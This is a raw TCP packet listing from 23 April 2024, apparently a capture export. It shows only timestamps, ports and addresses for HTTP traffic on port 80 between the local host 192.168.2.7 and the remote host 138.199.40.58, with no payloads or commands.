Apr 23, 2024 08:39:58.795819998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.795830011 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.795835972 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.795845985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.795872927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.795897007 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.795898914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.795926094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.795944929 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.795953035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.795979023 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.796000957 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.796005964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.796030998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.796058893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.796076059 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.796084881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.796106100 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.796128035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.796155930 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.796180010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.796185970 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.796206951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.796230078 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.796233892 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.796261072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.796273947 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.796288013 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.796366930 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.796406984 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.796435118 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.796463966 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.796489954 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.796490908 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.796536922 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.796540022 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.796613932 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.796677113 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.796700001 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.796705008 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.796732903 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.796756983 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.796806097 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.796833992 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.796859980 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.796869040 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.796885967 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.796911955 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.796912909 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.796941042 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.796964884 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.797013998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.797074080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.797136068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.797163010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.797188997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.797215939 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.797216892 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.797266960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.797291040 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.797318935 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.797347069 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.797370911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.797441959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.797467947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.797478914 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.797494888 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.797521114 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.797543049 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.797548056 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.797574043 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.797591925 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.797600985 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.797629118 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.797655106 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.797677040 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.797683001 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.797707081 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.797709942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.797745943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.797770977 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.797772884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.797800064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.797826052 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.797827005 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.797852039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.797874928 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.797878981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.797905922 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.797926903 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.797931910 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.797959089 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.797985077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.798006058 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.798011065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.798036098 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.798038960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.798065901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.798091888 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.798115015 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.798119068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.798145056 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.798146009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.798171997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.798196077 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.798198938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.798224926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.798249960 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.798250914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.798321962 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.798325062 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.798352003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.798378944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.798429966 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.798454046 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.798510075 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.798533916 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.798561096 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.798588037 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.798605919 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.798609972 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.798683882 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.798711061 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.798738956 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.798763037 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.798765898 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.798790932 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.798863888 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.798949957 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.799051046 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.799125910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.799154043 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.799176931 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.799204111 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.799256086 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.799304008 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.799307108 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.799356937 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.799369097 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.799385071 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.799480915 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.799506903 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.799530983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.799559116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.799572945 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.799585104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.799612045 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.799633980 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.799638033 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.799664974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.799691916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.799705982 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.799719095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.799743891 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.799746037 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.799772024 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.799846888 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.799870968 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.799921036 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.799945116 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.799971104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.800041914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.800070047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.800093889 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.800153017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.800178051 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.800179958 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.800206900 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.800276041 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.800280094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.800307035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.800333977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.800354958 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.800360918 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.800384045 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.800388098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.800415039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.800437927 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.800441980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.800468922 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.800496101 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.800515890 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.800523996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.800548077 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.800550938 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.800578117 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.800599098 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.800652027 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.800679922 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.800705910 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.800709009 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.800759077 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.800782919 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.800808907 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.800882101 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.800903082 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.800955057 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.800982952 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.801006079 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.801009893 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.801058054 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.801129103 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.801156998 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.801204920 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.801218987 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.801230907 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.801258087 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.801285028 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.801285982 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.801311970 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.801333904 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.801341057 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.801367998 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.801388979 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.801394939 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.801422119 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.801449060 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.801470041 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.801544905 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.801572084 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.801595926 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.801624060 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.801645994 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.802086115 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.802149057 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.802176952 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.802201986 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.802203894 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.802246094 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.802256107 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.802283049 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.802309036 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.802334070 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.802335978 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.802361965 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.802361965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.802388906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.802412033 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.802416086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.802443027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.802464008 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.802469015 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.802495956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.802570105 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.802592039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.802618980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.802659988 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.802690983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.802818060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.802844048 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.802845955 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.802871943 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.802896976 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.802898884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.802923918 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.802926064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.802951097 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.802968979 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.802978039 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.803095102 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.803100109 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.803150892 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.803178072 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.803203106 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.803226948 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.803231001 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.803253889 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.803257942 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.803333044 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.803355932 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.803375959 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.803426981 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.803453922 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.803479910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.803483963 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.803503036 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.803507090 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.803534031 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.803556919 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.803778887 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.803843975 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.803865910 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.803872108 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.803899050 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.803925991 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.803949118 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.803952932 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.803975105 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.804004908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.804056883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.804084063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.804107904 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.804130077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.804158926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.804184914 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.804209948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.804238081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.804261923 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.804264069 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.804337025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.804346085 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.804409981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.804486036 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.804500103 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.804512024 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.804538965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.804563999 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.804719925 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.804761887 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.804785967 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.804790020 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.804858923 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.804920912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.804944992 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.804980040 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.805002928 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.805007935 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.805037022 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.805092096 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.805115938 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.805119038 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.805141926 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.805146933 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.805263996 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.805316925 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.805337906 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.805377007 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.805396080 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.805459976 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.805476904 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.805551052 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.805573940 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.805602074 CEST	49704	80	192.168.2.7	138.199.40.58
